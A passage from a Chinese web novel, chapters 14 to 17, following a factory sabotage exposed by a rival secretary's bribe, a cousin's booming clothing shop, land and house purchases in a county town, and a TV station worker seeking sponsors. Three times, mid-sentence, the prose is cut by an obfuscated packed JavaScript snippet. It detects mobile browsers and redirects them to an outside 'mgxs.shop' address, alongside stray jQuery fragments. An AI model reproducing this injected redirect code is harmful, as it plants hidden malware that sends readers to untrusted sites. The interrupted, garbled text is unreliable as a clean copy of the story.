“人为破坏?”尤厂长立刻跳了起来,指着裴文莹的鼻子大骂,“这车间可是你负责的!现在出了这么大的纰漏,你一句‘人为破坏’就想推卸责任?我看就是你技术不过关,瞎弄烧坏了机器!” “尤厂长,如果是技术不过关,烧的是主板,而不是这整整齐齐的平口剪切痕迹。”裴文莹毫不退缩地盯着他。 “哎哟,这可真是太遗憾了。”冯心媚适时地插了进来,阴阳怪气地叹了口气,“裴主管,老板那么信任你,把这么贵的机器交给你。现在出了事,总不能随便找个借口搪塞过去吧?” 郭育铭没有理会冯心媚的拱火。他死死地盯着那些断线,额头上的青筋一突一突地跳着。商场如战场,他太清楚这种下三滥的手段意味着什么。 “查!给我立刻查!”郭育铭气急败坏,“今天就是把厂子翻个底朝天,也要把这个内鬼给我揪出来!” 保卫科的人立刻封锁了车间,开始逐一排查昨天夜里的监控和巡逻记录。 气氛压抑到了极点。 裴文莹站在一旁,没有辩解。她的目光在围观的人群中扫过,敏锐地捕捉到了站在后排、脸色惨白、身体不受控制地微微发抖的金喜。 金喜平时是个大嗓门,遇到这种事早就跳出来跟着议论了。但此刻,她却死死地低着头,连看都不敢看裴文莹一眼。 就在这时,杨蕊突然从人群里挤了出来。 “老板!我……我有情况要反映!”杨蕊虽然有些害怕,但还是咬着牙站到了裴文莹身边。 “说!”郭育铭厉声道。 “昨天半夜两点多,我闹肚子去上厕所。回来的时候,看到有一个人鬼鬼祟祟地从新车间那边跑出来,手里还拿着手电筒。”杨蕊深吸了一口气,指向了人群后方,“我看得很清楚,那个人……是金喜!” 这句话就像在热油锅里泼了一瓢冷水,瞬间炸开了锅。 所有人的目光齐刷刷地投向了金喜。 金喜双腿一软,直接瘫坐在了地上。“不……不是我!你胡说!”她带着哭腔,拼命地摇着头。 不到二十分钟,保卫科的人不仅搜出了工业剪线钳,还从金喜的枕头底下,翻出了两千块钱现金。 人赃并获。 郭育铭看着地上的剪线钳,眼神如刀般刺向金喜:“你一个拉长,为什么要毁我的机器?” 金喜彻底崩溃了。在全厂几百双眼睛的注视下,在两千块钱被翻出来的那一刻,她的心理防线轰然倒塌。 “老板……我错了……我不是故意的……”金喜趴在地上,鼻涕眼泪抹了一脸,突然,她像抓住救命稻草一样,猛地转过身,指向了脸色已经变了的冯心媚,“是她!是冯秘书!是她给我钱,让我剪断电线的!她说只要机器坏了,裴文莹就会被开了,我就能当组长!” 全场死寂。 所有的目光,瞬间从金喜身上,转移到了平时不可一世的董事长秘书身上。 冯心媚的脸色瞬间变得比纸还白。她怎么也没想到,这个愚蠢的农村女人,竟然在第一时间就把自己卖了个干干净净。 “你……你这个疯女人!你胡说八道什么!”冯心媚尖叫起来,声音都变了调,她扑过去想去撕扯金喜,却被保安一把拦住,“我怎么可能去破坏厂里的机器!这是诬陷!” 郭育铭没有说话。 他看着像个泼妇一样撒泼的冯心媚,又看了看地上那个装着钱的信封,什么都明白了。 在这个厂里,除了管理层,谁能随手拿出两千块钱的现金? 那两千块钱,正是前天他刚给冯心媚去买衣服的零花钱! 一股被愚弄和背叛的狂怒,瞬间冲上了郭育铭的大脑。 他猛地走上前,“啪”的一声脆响,一个结结实实的耳光,狠狠地扇在了冯心媚那张精致的脸上。 冯心媚被打得直接摔倒在地,半边脸留下了指印,肿了起来。她捂着脸,不敢置信地看着这个平时对她百依百顺的男人。 “我警告过你,不要碰我的底线。”郭育铭咬牙切齿,声音低沉,他转头看向尤厂长,毫不留情地下了最后通牒:“把这个搞破坏的女工,立刻给我赶出工厂!从今天起,别让我在深城再看到她!” 没有任何挽回的余地。 金喜被结了当月的工资,驱逐出厂。她忍不住痛哭出声。嫉妒不仅没有让她爬上去,反而让她失去了一切。 冯心媚的脸色苍白,她感到了前所未有的恐惧。她知道自己在这场游戏中处于弱势,所以才拼命想攫取一些东西,无奈天不从人愿,屡战屡败。 冯心媚眼眶泛红,声音颤抖:“郭总,我错了,真的错了。我只求你再给我一次机会,我什么都不要,只要你别赶我走,我再也不敢了。” 郭育铭沉默了一会儿,似乎在权衡利弊。最终,他叹了口气,安抚道:“下不为例。” 冯心媚点了点头,默默地跟着郭育铭走了。 这场风波平息后,郭育铭立刻让人联系了德国厂家,空运了损坏的零部件。 裴文莹带人加班加点,仅用了三天时间,就将机器重新修复运转。 这一次,车间里再也没有了质疑和嘲讽的声音。所有的女工,包括那些曾经眼红过她的组长、拉长,看着裴文莹的眼神里,只剩下了敬畏和信服。 XXX 旗山县最繁华的红星商业街,最近突然冒出了一家名为“港城风华”的服装店。 这家店的装潢和周围那些用木板搭着、衣服胡乱堆叠的铺子完全不同。明亮的玻璃橱窗里,站着几个从省城买来的塑料模特,模特身上穿着剪裁利落的萝卜裤、素色但版型极好的蝙蝠衫,腰间系着细皮带,脖子上还俏皮地打着色彩鲜艳的丝巾。 这种明显带着港风的成套搭配,瞬间击中了这个闭塞县城里那些渴望时髦的年轻人的心。 “建国哥,你这衣服真是在广州进的?怎么看着比百货大楼里的还要高级啊!”一个烫着卷发的女顾客拿着一套牛仔衣,爱不释手地在镜子前比划着。 “那必须的啊!妹子,这可是香港刚流行过来的款式,叫‘廓形’!”王建国穿着一身笔挺的西装,头发抹着发胶梳得油光水滑。 他熟练地抖出几个从裴文莹那里学来的新词,脸上堆着那副见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796377|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 人说人话、见鬼说鬼话的热络笑容。 这副油滑的做派,以前让他在街头挨了不少揍,但现在用在做生意上,简直是如鱼得水。不管是工商税务来查账,还是街头的地痞想来收保护费,他都能凭着那张巧嘴和几包好烟,游刃有余地把人打发得舒舒服服。 短短两个月,“港城风华”的名号就在旗山县打响了。每天店里的顾客络绎不绝,王建国每天晚上盘账的时候,看着那些大团结(十元纸币),手都是抖的。 这天刚好是周六。 裴文韬背着书包,推开了服装店的玻璃门。他穿着一中宽大的蓝白校服,清冷的眼神里透着一股不情愿。 “哎哟,我的小财神爷来了!”王建国眼睛一亮,赶紧迎了上去,顺手把一套新进的男装塞进了他怀里,“快去把这身换上,今天这批男装能不能卖爆,全看你的了!” “表哥,我真的不想穿这些奇装异服……”裴文韬皱着眉头,满脸写着抗拒。 这几个月来,自从服装店开张,王建国就发现了这个小表弟的惊人潜力。十三岁的裴文韬虽然还没完全长开,但身形已经十分清瘦挺拔。那张继承了裴家人优秀基因的脸,五官立体,加上一股孤傲清冷的气质,简直是个天然的衣架子。 “什么奇装异服!这是今年最流行的复古牛仔装!”王建国不由分说地把他推向试衣间,“哥给你加钱!今天一天算你二十块钱工资,还能随便挑两本书,行了吧?” 看在二十块钱巨款和买书的份上,裴文韬只能屈辱地妥协了。 当他从试衣间走出来的时候,连正在给客人结账的王建国都忍不住在心里暗叫了一声“好家伙!” 略微修身的浅蓝色牛仔裤衬托出少年笔挺的双腿,上身是一件复古的水洗做旧牛仔外套,内搭一件简单的白T恤。原本宽大的校服遮掩住的青春与不羁,在这一刻被这身衣服完美地勾勒了出来。加上他那副因为不情愿而微微皱眉、冷若冰霜的表情,活脱脱就是一个从港台电影画报里走出来的叛逆少年。 “啧啧啧,这气质,绝了!”王建国一拍大腿,“小韬,你就站在门口那排男装旁边,不用说话,装酷就行!” 裴文韬黑着脸,像个木桩子一样站了过去。 不出王建国所料。不到半个小时,店里就涌进了一批又一批的年轻女孩和跟着对象来逛街的小伙子。 “天哪,那套衣服穿在那个男生身上也太好看了吧!” “老板,那套牛仔衣还有没有他的号?给我对象拿一套一模一样的!” 原本在县城里不太好卖的男装,因为有了裴文韬这个活招牌,瞬间成了抢手货。几个胆大的女青年甚至凑到裴文韬身边,问他是在哪个学校上学。 裴文韬窘得耳根子通红,只能板着脸,用一种冷冷的目光把人瞪回去。可偏偏他这种高冷的样子,反而让那些女孩更觉得他酷极了。 就在裴文韬忍无可忍,准备罢工的时候,店门口突然传来了一阵压抑的惊呼声。 “卧槽……那……那是学神吗?” 裴文韬循声望去,整个人瞬间僵住了。 他的同桌刘杰,正带着七八个同学,站在玻璃门外,目瞪口呆地看着他。 在学校里,裴文韬是出了名的高冷学神。他独来独往,不管是上课还是下课,总是面无表情地做题或者看书,谁也不搭理,成绩好得令人望尘莫及。 可现在,这个神坛上的学霸,竟然穿着一身时髦的牛仔装,站在一家服装店里当模特! 巨大的反差感让这群初中生受到了极大的震撼。 “天哪,裴文韬,这真是你啊!”刘杰激动地冲进店里,上下打量着他,嘴巴张得能塞下一个鸡蛋,“你这一打扮,简直比录像厅里的小马哥还帅啊!” “学神,你这衣服在哪儿买的?太有型了吧!”另外几个男生也两眼放光地围了上来。 裴文韬在心里哀叹了一声。 完了,彻底社死了。 他本来想假装不认识他们,但在同学们狂热的目光下,只能硬着头皮、面无表情地点了点头:“嗯。帮亲戚卖衣服。要买自己看。” 15. 第 15 章 虽然被同学撞破了兼职打工的事实,但意想不到的效果是,这群学生回去后,把“学神在港城风华当模特”的消息迅速在县一中校园里传开了。 第二天,服装店迎来了一波爆发式的人流。县一中的学生慕名而来,不仅买空了那几款男装,连带着女装的销量也翻了番,连隔壁二中、三中、五中的学生都来了,指明要裴文韬同款。 王建国数钱数到手抽筋,看着坐在柜台后生无可恋的裴文韬,笑得见牙不见眼。他当场拍出三张崭新的大团结塞进裴文韬的兜里:“给,多的算加班费!小韬,以后每个周末你都来!哥给你开工资!” 看在万恶的金钱份上,裴文韬屈服了,每周末都去给表哥打工。由于裴文龙到西照市开打印店去了,旗山县的事都是王建国说了算,表兄弟两人瞒上不瞒下,打工的事除了裴家兄妹不知道,其他人该知道的都知道了。 裴大姑想着肥水不流外人田,小外甥这单薄的身板,除了能当衣服架子,看起来也不像能干别的样子。大周末的站着也不累,一直学习别把脑子学傻了,于是也非常积极支持。两人就这么胆大包天地瞒天过海了。 王建国有了钱之后,就想显摆一下。 盖房。必须盖大房子,盖像周群雄家那样气派的红砖小洋房。 但是,盖在哪里呢?这是一个问题。 此时的王建国,虽然已经到过广州好几次,但脑子里装的,依然只有旗山县那么大点的事。他只好去请教他的外挂大脑,裴文莹。 “优先选县一中旁边。小韬上学那附近。” “妈呀!莹姐儿,你出的什么主意?”王建国一蹦三尺高:“县一中那个鬼地方,背后是旗山,动不动就泥石流滑坡,一下雨地上成泥塘,人路过那里,脚都拔不出来!你看看那附近有几栋屋?我盖在那里,你大姑不得打死我!” “王建国同志,你要用发展的眼光看问题啊!旗山县一中现在是市重点中学,没错吧?每年清北稳定都能上一两个,等再过三五年,县一中肯定会成为省重点,将来别说旗山县的人来上学,西照市、甚至隔壁北护市的人,都会把孩子送过来上学——,表哥,你把房子盖在一中旁边,到时候,大姑开个小饭馆加小卖部,楼上你弄几间客房,你说,有没有钱挣?”裴文莹给王建国画饼。 王建国瞬间领悟了,大喊:“莹姐儿,你这主意可真不错!那就这么办。” 他想了一下,又说:“一中旁边,倒是有间凶屋,里面死过人,两三年了,也没人敢买……” 他想占便宜又害怕。 裴文莹闻言,循循善诱:“表哥,凶屋怕什么?县一中那么多男孩子,阳气旺得很。房子反正你会拆了重新盖,那就打地基的时候,找个道士来念几天经。” 前世,县一中升级成了省重点示范校以后,开发商把周围全盖满了房子,均价比西照市中心的房子还要高,因为县一中是六年一贯制,西照市和南溪市的有钱人,后来直接在一中旁边买房子陪读,直接将房价炒上了最高点。 王建国如果把房子盖在一中旁边,前期可以开小饭馆和招待所,靠着一中吃一中,细水长流地挣钱,后期等开发商来了,还可以吃拆迁的红利。 王建国眼珠子滴溜一转:“这事,咱们是不是得跟大哥商量商量?要是咱们不跟他说,直接买了,让他知道了,不得炸了!” 裴文莹一听,点头。两人开始着手准备买地、盖房子,打电话。 要说王建国还是挺有商业头脑。过年的时候,他竟然跑到县电视台,花钱在点歌台节目里包了半个小时的时段,专门给自己的店点歌庆祝重装营业。这在旗山县可是破天荒的头一遭。 那一个月,全县的电视机里循环播放着“港城风华祝全县人民新春快乐”,这句充满暴发户气息的广告语,硬生生把那些兜里有几个闲钱的年轻人都给招来了。 “老板,这件衣服能便宜点不?”一个烫着大波浪的女人拿着一件蝙蝠衫,站在镜子前比划着。 “哎哟,大姐,这可是正宗的广州货,你看这走线,这面料。”王建国麻利地掐灭了烟,堆着笑迎上去,“别人来买我都卖六十五,看在您是熟客的份上,五十拿走!再送您一只有机玻璃发卡搭配着戴,保证您走在街上,回头率百分之百!” 几句话的功夫,一笔生意又做成了。王建国接过几张大团结,美滋滋地锁进抽屉里。 正忙活着,大姑提着一个饭盒,推开玻璃门走了进来。自从王建国干了正事,不再跟那些狐朋狗友鬼混,大姑脸上的愁苦也渐渐散去了,整个人看着精神了许多。 “建国,先别忙了,赶紧趁热把这骨头汤喝了。”大姑把饭盒放在柜台上,心疼地看着儿子,“你看你,成天忙得连口热饭都吃不上。” 王建国一边喝汤,一边嘿嘿笑。本来是来送饭的大姑,此时也一头扎到店里,帮着拿样子、试衣服,忙得团团转。 马上要过年了,旗山县有过年穿新衣的传统,冬衣厚重,利润比夏装更大。王建国一个月半前专门去了趟广州,叫裴文莹陪同,采购了一大批时兴冬装,里面有不少童装,趁年前狠狠地赚一笔。 钱是赚了,但人累的够呛。好不容易消停下来,王建国看着老妈手忙脚乱的样子,搔搔头说:“妈,你说,是不是咱得雇个人——” “雇个人干嘛?你是不是钱多了烧的!”大姑还没等他把话说完,就骂骂咧咧,“天老爷啊!好不容易走了正路,有了几个钱就开始烧包——” 怀石镇中老年妇女战斗力可见一斑。 王建国无奈:“妈,你咋不识好人心呐!马上我就要把隔壁铺子也盘过来,到时候店要比现在大一倍,生意越来越好,一两个人怕是忙不过来哟!” “忙不过来,就让你爸也过来帮忙!”大姑斩钉截铁地说,“对了,你前几天跟我说的那件事,到底靠谱不靠谱?” 王建国放下汤碗,神秘兮兮地凑近大姑压低了声音:“妈,绝对靠谱。那房子就在县一中旁边。房东家里出了点事,急着用钱,想把房子盘出去。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798284|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > “出了啥事?”大姑皱起眉头。 “这……”王建国有些吞吞吐吐,眼神闪烁了一下,“嗨,就是……原来的房主老头在院子里摔了一跤,脑溢血没抢救过来,人没了。他儿子在省城工作,嫌这房子晦气,想赶紧出手。只要六千钱就能拿下!” 大姑一听,脸色顿时变了,连连摆手:“那可不行!这可是出了人命的凶宅啊!不吉利——” “妈,您怎么这么封建迷信呢!”王建国有些急了,“那老头都七十多了,摔一跤没挺过去,这算什么凶?再说了,六千块钱买那么大个院子,还是在县一中旁边,这可是打着灯笼都找不着的好事啊!” “妈,您就信我一回吧。”王建国拉着大姑的手,语气坚定地说,“莹姐儿见过大世面,她说这房子能买,那就肯定错不了。咱们把这院子买下来,稍微翻新一下,以后您跟我爸就不用挤在那破土砖房里了,咱们也住上红砖小洋楼!” 听到是裴文莹的主意,大姑不由自主地点头同意了。 王建国的盖房大计进展很快,有钱就好办事。 那间凶屋市价至少八千元,但屋主急于出手,而且两三年都无人问津,只开价六千元就卖,还附送全屋家具。那些样式老旧的木头桌椅板凳,王建国哪里看得上,他可是走南闯北、到过广州的人! 最终,他还价到四千六成交,签了协议后,大姑和姑父还在屋里挑挑拣拣,王建国喊来一部拖拉机,运了两三趟,把家具全部运到怀石镇乡下去,气得大姑又追着他骂败家子。 在旗山县盖房是件大事。裴大姑很想主持大局,但是王建国不听她的,问就是莹姐儿已经找了深城大学的学生画了设计图纸给他,照着盖就行。但是,那图纸,没几个人能看懂。 王建国也不理解,为什么要那么多厕所?怀石镇的厕所都是一个茅屋,随随便便搭在房子后面。但莹姐儿给的房屋图纸上,每层都有一个带洗澡间的厕所,每个厕所都要冲水——天老爷啊,哪有这么多水给她冲厕所! 实际上,裴文莹考虑到未来的拆迁,找人给王建国画的,还是以筒子楼为原型的设计图。此时,大家还都住在平房里,只有在大单位上班的职工,才有资格入住筒子楼。旗山县只有县委大院是筒子楼,但王建国从来没有进去过。 筒子楼,顾名思义,长长的走廊串起一个个狭小的单间,像极了筒子。它借鉴了苏联的赫鲁晓夫楼,但因中国的工业基础薄弱,多采用砖混结构。筒子楼虽然是楼房,但没有独立厨房和卫生间,大家就在走廊里做饭、聊天,生活充满了烟火气。 因为表哥家的这栋两层小楼,未来还承担着招待所和饭店的功能,厕所和洗澡房就决不能少,所以,裴文莹在每层都安排了两个卫生间,都带有上下水和浴室,男左女右,首尾各一间。 王建国对于表妹,是百分之一百二十个信任,秉持着对裴文莹的指示“理解的要执行,不理解的就在执行中加深理解”的原则,一边头疼,一边忠实地按照她的设计,推进盖房大计。 16. 第 16 章 深城的发展速度超乎了所有人的想象。 短短一年的时间,南山区那片曾经长满荔枝林和杂草的荒地,已经被纵横交错的柏油马路切割成了一块块整齐的厂区。 机器的轰鸣声日夜不息,吞吐着从全国各地涌来的劳动力。 裴文莹在铭康精密组件厂的主管位置上已经坐稳了一年。四千块的月薪,加上之前在股票市场上买入的“深延展”带来的隐秘底气,让她成为了同龄打工妹中的佼佼者。 但她并不满足于此。 股票市场的狂欢虽然诱人,但那毕竟是悬在空中的泡沫。前世的经历告诉她,在任何时代,真正能让人安心立命的,永远是脚下这片结结实实的土地。 深城的房价和地价正在以一种疯狂的速度攀升,以她目前的资金体量,想在特区直接买地建厂,无异于痴人说梦。 但旗山县不同。 那座内陆县城,此刻正处于城市化扩张的前夕。作为生于斯长于斯的地方,裴文莹太清楚它的命脉所在。老城区街道狭窄,人口饱和,随着经济搞活,县城的版图必然要向外延伸。现在那些长满荒草的城郊结合部,在不久的将来,就会变成寸土寸金的商业区和新住宅区。 既然特区的地买不起,那就在老家提前圈下一块地盘。 几天后,王建国接到了表妹从深城打来的长途电话。 “买空地?”电话那头,王建国的声音拔高了八度,背景音里还夹杂着服装店里震耳欲聋的流行乐,“莹姐儿,你是不是发烧了?咱们县城南郊那片砖窑厂附近的荒地,全是烂泥和杂草,连条像样的柏油路都没有!你花钱买那玩意儿干啥?种红薯啊?” “表哥,让你去问你就去问。那是县城向南扩建的必经之路。现在的荒地,过几年就是黄金地段。”裴文莹在电话里没有多作解释,只留下一句死命令,“你帮我去土地局探探口风,看南郊那片地能不能私人买下来。钱我这儿准备好了。” 王建国虽然满肚子疑惑,但他现在对这个远在深城的表妹有一种近乎迷信的盲从。挂了电话,他立刻换了身最体面的西装,胳膊下夹着两条红塔山,骑着二手摩托车直奔旗山县土地管理局。 然而,这趟差事却没有那么顺利。 九十年代初期的内陆县城,土地政策还处于半封闭状态。“个体户”在那些吃国家粮的机关干部眼里,不过是个卖衣服的倒爷。 土地局办公室里,一个科员端着掉漆的搪瓷茶缸,吹了吹浮在水面上的茶叶,连正眼都没看王建国递过去的烟。 “买地?你当是菜市场买白菜呢?”科员冷笑了一声,用笔杆子敲了敲桌面,“咱们县里的工业用地和荒地,那都是批给有资质的国营厂、大集体建车间盖仓库用的。你一个卖衣裳的个体户,连个挂靠的单位都没有,跑来买几千平米的荒地?瞎胡闹嘛!去去去,别在这儿耽误我们办公。” 王建国碰了一鼻子灰,连烟都没送出去就被赶了出来。他灰溜溜地找了个公用电话,把情况如实汇报给了裴文莹。 “文莹,真不是表哥不出力。人家说了,这事儿不看钱,看资质。得是集体企业或者正规大厂的名义,还得有建厂房的立项报告才能批地。咱们这路走不通啊。” 电话这头,裴文莹握着话筒,眉头微微蹙起。 她确实把问题想得简单了。特区的政策灵活开放,但内地的官僚体系依然死板。想要在旗山县拿地,就必须有一层能上得台面的“外衣”。 在旗山县,谁有这样一层能够通吃黑白的“外衣”? 裴文莹的脑海里,瞬间闪过了一个留着平头、眼神精明的老江湖形象——大哥的师傅,周群雄。 周群雄在旗山县混迹多年,靠修打字机起家,如今虽然正在筹谋把生意搬到西照市去,但他在旗山县的根基极深。更重要的是,他手里握着一个挂靠在镇办集体企业名下的维修厂牌照。有这块牌子,就有资格向县里申请批地。 “哥,你得帮我求求师傅。” 当天晚上,裴文莹把电话打到了裴文龙在西照市刚租下的铺面里。 裴文龙听完妹妹的计划,惊得半天没合拢嘴。他是个本分的手艺人,对于“买荒地”这种看不见摸不着的投资,完全无法理解。但他知道妹妹是个有大主意的人,这些年在深城也算是见过大世面。 “行,我去跟师傅说。但师傅是个精明人,他愿不愿意担这个干系借名头给咱们,我心里没底。”裴文龙实话实说。 第二天一早,裴文龙趁着和周群雄一起吃早饭的功夫,把裴文莹想借维修厂名义在旗山县南郊买地的事,一五一十地说了出来。 周群雄正咬着一根油条,听到这话,动作停住了。 他端起桌上的豆浆喝了一口,没有立刻表态,而是眯着眼睛看向裴文龙:“你妹妹一个在深城打工的姑娘,哪来这么多闲钱?还要跑到旗山县那鸟不拉屎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807965|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 南郊去买烂泥地?” 裴文龙有些局促地搓了搓手:“师傅,文莹现在在台资厂当了主管,工资高。她说……她说旗山县老城太挤,早晚得往南边扩。现在地价便宜,买了就算放着长草,以后也不会亏。她说了,只要您愿意帮忙走这道手续,她愿意拿出百分之十的干股来孝敬您。” 周群雄没有接话题,他在脑子里飞快地盘算着。 他在旗山县待了半辈子,当然知道南郊那片荒地。那里紧挨着废弃的砖窑厂,一到下雨天就泥泞不堪。但在深城考察过一番的周群雄,眼界早就不是普通的小镇生意人了。 他想起在特区看到的那一条条正在拓宽的马路,想起那些拔地而起的厂房。中国要发展,旗山县不可能一辈子守着那个巴掌大的老城。如果真如裴文莹所说,县城向南扩,那片荒地,未来就是卡在咽喉上的黄金位置。 一个不到二十岁的女娃娃,身在深城,却能把旗山县的这盘大棋看得这么透。 周群雄擦了擦嘴,突然重重地拍了一下桌子,哈哈大笑起来。 “文龙啊文龙,你这个妹妹,真是长了一颗七窍玲珑心!”周群雄的眼神里透着一股老狐狸遇到同类的兴奋,“这忙,我帮了!不要她的干股,我周群雄还不至于去占一个小姑娘的便宜。” 他站起身,拍了拍长衫的下摆,眼中闪过一丝果决:“你告诉文莹,地我帮她拿。不过,我也要跟投一把。她买多少,我挨着她,也买多少!这姑娘既然敢把身家性命押在上面,我周某人就陪她赌这一局!” 有了周群雄的介入,事情的性质就完全不同了。 一周后,周群雄亲自回了一趟旗山县。他带着几瓶好酒和几条好烟,以“维修厂扩大规模、建立配件仓库”的名义,堂而皇之地走进了县土地管理局的大门。 熟门熟路,加上集体企业的红头文件,原本对王建国横眉冷对的科员,立刻换上了一副热情的笑脸。 流程走得出奇地快。 半个月后,旗山县南郊那片总面积将近四千平米的荒地,被划成了两块。 裴文莹用汇回来的钱,拿下了位置最好的一块,两千平米。周群雄说到做到,自己掏腰包,买下了紧挨着她的另外两千平米。 当王建国把那本盖着政府大红公章的土地使用权证拿到手里时,他的手都在发抖。 这片位于旗山县南郊的荒地,现在一文不值,但在几年后,会价值千金。 17. 第 17 章 旗山县政府那栋老式灰砖大楼里,电视台被安置在最偏远的角落。 台长办公室是用旧档案室改的,逼仄而阴暗。四周墙壁贴满了各种节目海报,边缘早已泛黄卷曲。靠墙的长条桌上堆着厚厚的文件,落着一层细灰。 烟雾缭绕中,台长坐在皮椅子里,嘴里叼着烟,眯眼看着眼前的容薇薇。 二十岁的小姑娘,一身剪裁合体的红色水玉波点连衣裙,长发披肩,站在这一片灰蒙蒙的陈设里,新鲜得像刚摘下来的露水葡萄。 “薇薇啊,”台长说话间,烟灰簇簇掉落在桌上,语气随意,“台里如今什么光景你也看到了。赞助的事,就全指望你了。年轻人,多出去跑跑,没坏处。” 容薇薇站在桌前,压下心中的委屈,试图讲理:“台长,我真的跑遍了。能谈的商家都嫌咱们台档次低。咱们成天放猪饲料广告,观众意见大得很,好多人打电话来骂。再这么下去,台里的名声就彻底毁了。” 台长轻描淡写地弹弹烟灰:“那就换植物油广告嘛,人吃的,总归好听点。” “台长,这不是换什么广告的问题……”容薇薇有些急了。 台长脸上的笑意微不可察地收敛了。 他站起身,走到容薇薇身旁,抬手拍了拍她的肩膀,语气语重心长,却透着冰冷的压迫感:“薇薇啊,我和你叔是多年老交情,看在他的面子上才给你这个机会。你学的是音乐教育,本来该去学校教书的。这么好的机会摆在面前,你得好好把握,别让你叔叔失望,也别让我难做啊。” 容薇薇僵在原地,脸色微微发白。 她是靠关系进来的,这是事实,也是刺在她心头的一根针。她拼了命地加班、写策划,就是想证明自己不是个走后门的关系户。 “我明白了,台长。”容薇薇强忍着眼框里的湿意,微微仰起头,“我会再想办法。” 走出那间压抑的办公室,容薇薇深吸了一口气,将眼泪咽了回去。她翻开手里的点歌登记本,目光从一行行潦草的字迹上划过,最终停在一个频频出现的名字上—— 港城风华时装店,王建国。 每天固定时段的点播,连续投了一个多月。在这偏僻的小县城里,算得上舍得花钱的异类了。 容薇薇凝视着那个名字,指尖轻轻叩了叩纸页。她整理了一下衣角,转身朝大楼外走去。 XXX 县一中旁边的空地上,尘土飞扬。 王建国买下的这块地正在打地基,请了个老道士开工作法。院子里摆着红烛和香炉,香烟袅袅,周围围满了看热闹的乡亲。 王建国的母亲裴大姑,双手叉腰站在一旁,看着老道士穿着道袍挥舞桃木剑、口中念念有词的样子,脸上的嫌弃几乎要溢出来。 “赚了两个钱就开始烧包!请这道士来瞎折腾,净花冤枉钱!”裴大姑低声骂着。 王建国这几天正赶上换季,在商业街的店里忙得脚不沾地,新房开工只能托父母盯着。 正乱着,怀石镇的邻居王婶领着个年轻姑娘走了过来。 王婶满脸堆笑:“他大姑!我给建国领了个好闺女来!家境好,人又勤快,做饭洗衣样样行,配你家建国再合适不过了!” 裴大姑一听,脸上的怒气瞬间烟消云散,拉过王婶问:“哎呀,你怎么找到这儿来了?” “去你家没人,邻居说你在这一中看打地基呢!”王婶把身后的姑娘往推了推,“这么好的姑娘,不嫌弃你家建国是个个体户,打着灯笼也难找!” 姑娘害羞地低着头。裴大姑打量着姑娘,越看越欢喜,扭头就对旁边干活的侄子喊:“去!骑车去商业街把你哥叫回来,就说我突然犯病了,让他赶紧回!” 二十分钟后,王建国一路把自行车蹬得飞快,额头上全是冷汗。他以为工地上出了什么大事,急火攻心地冲进人群:“妈!你没事吧?!” 然而,当他看到老妈安然无恙地坐在石凳上,旁边还坐着个穿粉色衬衫的姑娘时,王建国的脚步猝然停住了。 那姑娘听到声音抬头看他——王建国的心顿时凉了半截。那姑娘模样倒还周正,可惜眼睛竟是斜的。 空气一时沉寂得有些尴尬,只有老道士在旁边还在晃着铃铛吟唱。 裴大姑没察觉儿子的异样,满脸堆笑地拉过王建国:“建国啊,快过来,这是王婶介绍的……” 王建国深吸了一口气,压下胸中的荒谬感。他礼貌地冲王婶和那姑娘点了点头:“抱歉,店里离不开人,我得先回去了。” 说罢,他转身就走。 裴大姑急了,追了几步喊道:“王建国!你给我站住!你这孩子怎么这么不懂事!” 王建国没回头,只挥了挥手。裴大姑气得直跺脚,正没处发火,作完法的老道士凑上来要工钱。 裴大姑瞪大眼:“就念了半小时,你要五十块?!” 老道士苦笑了一声,拱手道:“这位大姑,我这可都是按规矩来的,多年修行的功底全在这半小时里了。您看这钱……还望您高抬贵手。” 裴大姑在周围人的目光下,只得骂骂咧咧地掏了钱包,望着儿子离开的方向,心里既气又无奈。 王建国骑着车回到商业街,心里一阵堵得慌。他在县城也算白手起家,要相貌有相貌,要能力有能力,怎么在他妈眼里,自己就只配得上一个斜眼姑娘? 他没精打采地推开店门,拔掉电熨斗的插头,准备把几件有点发皱的进口夏装熨一熨。 就在他刚弯下腰的功夫,身后忽然传来一声清亮悦耳的声音—— “请问,王老板在吗?” 王建国头也没回,漫不经心地应道:“不在。” “那他什么时候回来呀?”那声音又响了起来,带着点执拗和不易察觉的骄傲。 王建国有些不耐烦地转过身:“不知道——” 话未说完,他的声音戛然而止。 店门外的阳光正好泼洒进来,将站在门口的女子镀上一层意想之外的光晕。她穿着一身极其洋气的红色水玉波点连衣裙,腰身纤细,眉眼精致得像是从画报里走出来的。她正微蹙着眉,有些不满地看着自己。 王建国的手停在半空,熨斗的蒸汽袅袅升起,糊了他一脸。那一瞬间,他怦然心动。 “我……我就是王建国。”他干咳了一声,下意识地挺直了脊背,将手里的熨斗放到一旁,“你找我?” 容薇薇打量着眼前这个穿着花衬衫、身材不高不矮的年轻 